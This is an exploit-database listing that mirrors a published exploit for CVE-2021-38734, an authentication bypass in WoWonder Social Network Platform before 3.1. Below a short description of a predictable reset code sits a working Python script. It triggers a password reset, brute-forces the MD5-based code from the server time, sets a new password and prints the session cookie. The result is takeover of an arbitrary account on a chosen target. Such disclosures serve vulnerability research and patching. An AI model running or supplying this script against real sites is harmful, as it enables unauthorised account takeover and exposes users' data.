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WoWonder Social Network Platform 3.1 Authentication Bypass

CVE Category Price Severity
CVE-2021-38734 CWE-287 $500 Critical
Author Risk Exploitation Type Date
Haseeb Mehmood High Remote 2021-07-11
CPE
cpe:cpe:/a:wowonder:social_network_platform:3.1
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070067

Below is a copy:

WoWonder Social Network Platform 3.1 Authentication Bypass
# Exploit Title: WoWonder Social Network Platform 3.1 - Authentication Bypass
# Date: 11.06.2021
# Exploit Author: securityforeveryone.com
# Researchers : Security For Everyone Team - https://securityforeveryone.com
# Vendor Homepage: https://www.wowonder.com/
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
# Version: < 3.1
# Tested on: Linux/Windows

'''
DESCRIPTION

In WoWonder < 3.1, remote attackers can take over any account due to the weak cryptographic algorithm in recover.php. The code parameter is easily predicted from the time of day.
The vulnerability is found the "code" parameter in password reset link. The password reset code can be estimated by combining the password reset link time and the random value generated between 111 and 999.
if an attacker exploits this vulnerability, attacker may access all accounts in WoWonder application.

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'''

import requests
import email.utils as eut
import calendar, time;
import hashlib, re;

url = "http://wowonderlab:80/wowonder/" #change this with your target
myheaders = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
recoverdata = {"recoveremail": "[email protected]"}  #change this email with your registered wowonder email address
req = requests.post(url+"requests.php?f=recover", headers=myheaders, data=recoverdata)
b = eut.parsedate(req.headers["Date"])
respepoch = calendar.timegm(time.strptime("{0}-{1}-{2} {3}:{4}:{5}".format(b[0],b[1],b[2],b[3],b[4],b[5]), '%Y-%m-%d %H:%M:%S'))

for token in range(111,1000):
    str2hash = "{0}{1}".format(token,respepoch)
    email_code = hashlib.md5(str2hash.encode()).hexdigest()

    req_reset = requests.get(url+"index.php?link1=reset-password&code=1_{0}".format(email_code))
    if len(re.findall("New password",req_reset.text)) == 1:
        print(email_code)
        resetdata = {"password": "10711071", "id": "1_"+email_code}
        reqtoken = requests.post(url+"requests.php?f=reset_password", headers=myheaders, data=resetdata)
        print(reqtoken.headers['Set-Cookie'])
        break

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